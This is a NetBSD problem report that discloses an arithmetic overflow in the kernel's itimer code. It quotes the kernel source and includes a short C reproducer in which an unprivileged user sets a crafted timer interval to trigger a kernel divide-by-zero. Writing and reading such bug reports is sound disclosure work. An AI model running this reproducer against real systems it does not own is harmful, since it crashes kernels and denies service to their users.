NetBSD Problem Report #58922

From www@netbsd.org  Fri Dec 20 02:00:04 2024
Return-Path: <www@netbsd.org>
Received: from mail.netbsd.org (mail.netbsd.org [199.233.217.200])
	(using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
	 key-exchange X25519 server-signature RSA-PSS (2048 bits) server-digest SHA256
	 client-signature RSA-PSS (2048 bits) client-digest SHA256)
	(Client CN "mail.NetBSD.org", Issuer "mail.NetBSD.org CA" (not verified))
	by mollari.NetBSD.org (Postfix) with ESMTPS id B9CC01A9238
	for <gnats-bugs@gnats.NetBSD.org>; Fri, 20 Dec 2024 02:00:04 +0000 (UTC)
Message-Id: <20241220020003.1DB631A923A@mollari.NetBSD.org>
Date: Fri, 20 Dec 2024 02:00:03 +0000 (UTC)
From: campbell+netbsd@mumble.net
Reply-To: campbell+netbsd@mumble.net
To: gnats-bugs@NetBSD.org
Subject: itimer(9): arithmetic overflow
X-Send-Pr-Version: www-1.0

>Number:         58922
>Category:       kern
>Synopsis:       itimer(9): arithmetic overflow
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    kern-bug-people
>State:          open
>Class:          sw-bug
>Submitter-Id:   net
>Arrival-Date:   Fri Dec 20 02:05:00 +0000 2024
>Originator:     Taylor R Campbell
>Release:        current, 10, 9, ...
>Organization:
The TimeBSD Overflowndation
>Environment:
>Description:
When an itimer (setitimer, timer_settime, timerfd_settime) expires, and it has been configured with a periodic interval, the computation of the next expiry time works by converting timespecs for now, the last expiry time, and the interval to 64-bit nanoseconds:

    872 		now_ns = timespec2ns(&now);
    873 		last_val = timespec2ns(&it->it_time.it_value);
    874 		interval = timespec2ns(&it->it_time.it_interval);
    875 
    876 		next_val = now_ns +
    877 		    (now_ns - last_val + interval - 1) % interval;
    878 
    879 		if (backwards)
    880 			next_val += interval;
    881 		else
    882 			it->it_overruns += (now_ns - last_val) / interval;
    883 
    884 		it->it_time.it_value.tv_sec = next_val / 1000000000;
    885 		it->it_time.it_value.tv_nsec = next_val % 1000000000;

https://nxr.netbsd.org/xref/src/sys/kern/kern_time.c?r=1.223#872

Although the current time probably isn't going to overflow this conversion until the year 2514 (or we have deeper problems -- which we might be vulnerable to, like a rogue ntp server, but that's a separate issue), unprivileged userland controls the value of it->it_time.it_interval within any valid nonnegative struct timespec -- that is, the only constraint is that tv_sec be nonnegative and tv_nsec lie within [0, 999999999].

The magic interval {18446744073, 709551616} overflows to exactly 2^64, triggering divide-by-zero in the kernel.
>How-To-Repeat:
#include <err.h>
#include <time.h>
#include <unistd.h>

int
main(void)
{
	const struct itimerspec it = {
		.it_value = {0, 1},
		.it_interval = {18446744073, 709551616},
	};
	timer_t t;

	if (timer_create(CLOCK_MONOTONIC, NULL, &t) == -1)
		err(1, "timer_create");
	if (timer_settime(t, 0, &it, NULL) == -1)
		err(1, "timer_settime");
	if (nanosleep(&(const struct timespec){0, 1}, NULL) == -1)
		err(1, "nanosleep");
	return 0;
}

>Fix:
Yes, please!

NetBSD Home
NetBSD PR Database Search

(Contact us) $NetBSD: query-full-pr,v 1.47 2022/09/11 19:34:41 kim Exp $
$NetBSD: gnats_config.sh,v 1.9 2014/08/02 14:16:04 spz Exp $
Copyright © 1994-2024 The NetBSD Foundation, Inc. ALL RIGHTS RESERVED.